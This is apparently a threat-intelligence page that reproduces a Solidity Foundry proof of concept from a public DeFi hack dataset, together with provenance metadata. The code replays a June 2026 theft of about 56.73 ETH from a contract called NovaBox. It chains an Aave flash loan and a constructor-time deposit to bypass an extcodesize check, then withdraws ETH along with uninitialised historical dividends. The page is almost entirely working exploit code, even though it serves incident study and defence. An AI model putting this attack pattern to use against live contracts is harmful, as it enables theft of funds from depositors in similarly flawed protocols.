Skip to content
THREATWIRE

Public reproduction file

src/test/2026-06/NovaBox_exp.sol

Public reproduction file for dataset entry NovaBox.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-06/NovaBox_exp.sol218 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "../basetest.sol";
5
6// @KeyInfo - Total Lost : 56.73 ETH
7// Attacker : 0x3690c5efc63eea1167c4d92a3f2dd8afdb85c294
8// Attack Contract : 0xb50be385f6eb02ae379da3d3a1bb58a0dc260858
9// Vulnerable Contract : 0xbc4191167d4b0251cab5201a527daa8a7d3846b0
10// Victim : 0xbc4191167d4b0251cab5201a527daa8a7d3846b0
11// Attack Tx : https://etherscan.io/tx/0x0cfa357e9e4db1540246f17cb6bfa0634ff8727d7cf241b63fb22605021c8844
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0xbc4191167d4b0251cab5201a527daa8a7d3846b0#code
16// @Analysis
17// Twitter Guy : https://x.com/DefimonAlerts/status/2064616360466919793
18//
19// NovaBox blocks contract ETH deposits with extcodesize(msg.sender) == 0 and adds new dual ETH/NOVA depositors to the
20// dividend list without initializing their dividend checkpoints. The attacker deposits through a constructor helper,
21// joins the list with zero checkpoints, then immediately withdraws ETH and receives stale historical ETH dividends.
23address constant ATTACKER = 0x3690c5EFc63eeA1167c4d92a3f2dD8afdb85C294;
24address constant ATTACK_CONTRACT = 0xB50bE385f6EB02aE379DA3D3A1BB58a0dc260858;
25address constant VULNERABLE_CONTRACT = 0xbc4191167D4B0251cAB5201a527Daa8a7d3846b0;
26address constant NOVA = 0x72FBc0fc1446f5AcCC1B083F0852a7ef70a8ec9f;
27address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
28address constant AAVE_V3_POOL = 0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2;
30interface INovaToken {
31 function balanceOf(
32 address account
33 ) external view returns (uint256);
34 function approve(
35 address spender,
36 uint256 amount
37 ) external returns (bool);
38 function transfer(
39 address to,
40 uint256 amount
41 ) external returns (bool);
44interface INovaBox {
45 function depositTokens(
46 address randomAddr,
47 uint256 randomTicket
48 ) external;
49 function contributionsEth(
50 address account
51 ) external view returns (uint256);
52 function withdrawEth(
53 uint256 amount
54 ) external;
57interface IAaveV3Pool {
58 function flashLoanSimple(
59 address receiverAddress,
60 address asset,
61 uint256 amount,
62 bytes calldata params,
63 uint16 referralCode
64 ) external;
67interface IWETH9 {
68 function deposit() external payable;
69 function withdraw(
70 uint256 amount
71 ) external;
72 function approve(
73 address spender,
74 uint256 amount
75 ) external returns (bool);
76 function balanceOf(
77 address account
78 ) external view returns (uint256);
81contract ContractTest is BaseTestWithBalanceLog {
82 function setUp() public {
83 vm.createSelectFork("mainnet", 25_281_767);
84 fundingToken = address(0);
86 vm.label(ATTACKER, "Attacker");
87 vm.label(ATTACK_CONTRACT, "Trace Attack Contract");
88 vm.label(VULNERABLE_CONTRACT, "NovaBox");
89 vm.label(NOVA, "NOVA");
90 vm.label(WETH, "WETH");
91 vm.label(AAVE_V3_POOL, "Aave V3 Pool");
92 }
94 function testExploit() public balanceLog2(ATTACKER) {
95 uint256 profitBefore = ATTACKER.balance;
96 uint256 sameBlockNovaSeed = 0.001 ether;
97 uint256 flashAmount = 427.5 ether;
98 uint256 expectedMinimumProfit = 50 ether;
100 NovaBoxRoot root = new NovaBoxRoot(payable(ATTACKER), flashAmount);
101 vm.label(address(root), "Local Root Attack");
103 // step 1: model same-block tx index 0, which seeded the future root contract with 0.001 NOVA.
104 deal(NOVA, address(root), sameBlockNovaSeed);
105 assertEq(INovaToken(NOVA).balanceOf(address(root)), sameBlockNovaSeed);
107 // step 2: execute the trace order: local receiver, Aave flash loan, constructor helper, then profit forwarding.
108 root.run();
110 uint256 profit = ATTACKER.balance - profitBefore;
111 emit log_named_decimal_uint("ETH profit after Aave repayment", profit, 18);
112 assertGt(profit, expectedMinimumProfit);
113 }
116contract NovaBoxRoot {
117 INovaToken private constant nova = INovaToken(NOVA);
118 address payable private immutable profitReceiver;
119 uint256 private immutable flashAmount;
121 constructor(
122 address payable profitReceiver_,
123 uint256 flashAmount_
124 ) {
125 profitReceiver = profitReceiver_;
126 flashAmount = flashAmount_;
127 }
129 function run() external {
130 NovaFlashLoanReceiver receiver = new NovaFlashLoanReceiver(address(this), flashAmount);
131 uint256 novaSeed = nova.balanceOf(address(this));
132 require(nova.transfer(address(receiver), novaSeed), "nova seed transfer failed");
134 receiver.startFlashLoan();
136 profitReceiver.transfer(address(this).balance);
137 }
139 receive() external payable {}
142contract NovaFlashLoanReceiver {
143 INovaToken private constant nova = INovaToken(NOVA);
144 IAaveV3Pool private constant aave = IAaveV3Pool(AAVE_V3_POOL);
145 IWETH9 private constant weth = IWETH9(WETH);
147 address payable private immutable root;
148 uint256 private immutable flashAmount;
150 constructor(
151 address root_,
152 uint256 flashAmount_
153 ) {
154 root = payable(root_);
155 flashAmount = flashAmount_;
156 }
158 function startFlashLoan() external {
159 aave.flashLoanSimple(address(this), WETH, flashAmount, "", 0);
160 }
162 function executeOperation(
163 address asset,
164 uint256 amount,
165 uint256 premium,
166 address initiator,
167 bytes calldata
168 ) external returns (bool) {
169 require(msg.sender == AAVE_V3_POOL, "unexpected lender");
170 require(asset == WETH, "unexpected asset");
171 require(initiator == address(this), "unexpected initiator");
172 require(amount == flashAmount, "unexpected amount");
174 // step 3: unwrap the flash-loaned WETH and spend the ETH through a constructor helper.
175 weth.withdraw(amount);
176 new NovaConstructorHelper{value: amount}(address(this));
178 // step 4: wrap enough ETH to repay Aave principal plus premium, then forward the remaining ETH profit.
179 uint256 repayment = amount + premium;
180 weth.deposit{value: repayment}();
181 weth.approve(AAVE_V3_POOL, repayment);
183 root.transfer(address(this).balance);
184 return true;
185 }
187 function fundHelperWithNova() external {
188 uint256 balance = nova.balanceOf(address(this));
189 require(nova.transfer(msg.sender, balance), "helper nova transfer failed");
190 }
192 receive() external payable {}
195contract NovaConstructorHelper {
196 INovaToken private constant nova = INovaToken(NOVA);
197 INovaBox private constant box = INovaBox(VULNERABLE_CONTRACT);
199 constructor(
200 address flashLoanReceiver
201 ) payable {
202 // step 5: pull the NOVA seed from the flash-loan receiver and enter NovaBox as a token contributor.
203 NovaFlashLoanReceiver(payable(flashLoanReceiver)).fundHelperWithNova();
204 uint256 novaBalance = nova.balanceOf(address(this));
205 require(nova.approve(VULNERABLE_CONTRACT, novaBalance), "nova approve failed");
206 box.depositTokens(address(this), 0);
208 // step 6: deposit ETH while this contract has no runtime code, bypassing NovaBox's extcodesize check.
209 (bool deposited,) = VULNERABLE_CONTRACT.call{value: msg.value}("");
210 require(deposited, "eth deposit failed");
212 // step 7: withdraw the credited ETH and stale dividends, then return all ETH to the flash-loan receiver.
213 uint256 creditedEth = box.contributionsEth(address(this));
214 box.withdrawEth(creditedEth);
216 payable(flashLoanReceiver).transfer(address(this).balance);
217 }

Analysis

Dataset entry

Public Foundry test for “NovaBox” (2026-06-09). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x3690c5efc63eea1167c4d92a3f2dd8afdb85c294

  • Attack Contract

    0xb50be385f6eb02ae379da3d3a1bb58a0dc260858

  • Vulnerable Contract

    0xbc4191167d4b0251cab5201a527daa8a7d3846b0

  • Victim

    0xbc4191167d4b0251cab5201a527daa8a7d3846b0

  • Attack Tx

    0x0cfa357e9e4db1540246f17cb6bfa0634ff8727d7cf241b63fb22605021c8844

File record

Name
NovaBox
Path
src/test/2026-06/NovaBox_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
8d229e22b2bf93fe1529993116fb7df3d59d48b2
Language
Solidity
Size
219 lines
Date
2026-06-09
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-06/NovaBox_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 8d229e22b2bf93fe1529993116fb7df3d59d48b2, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.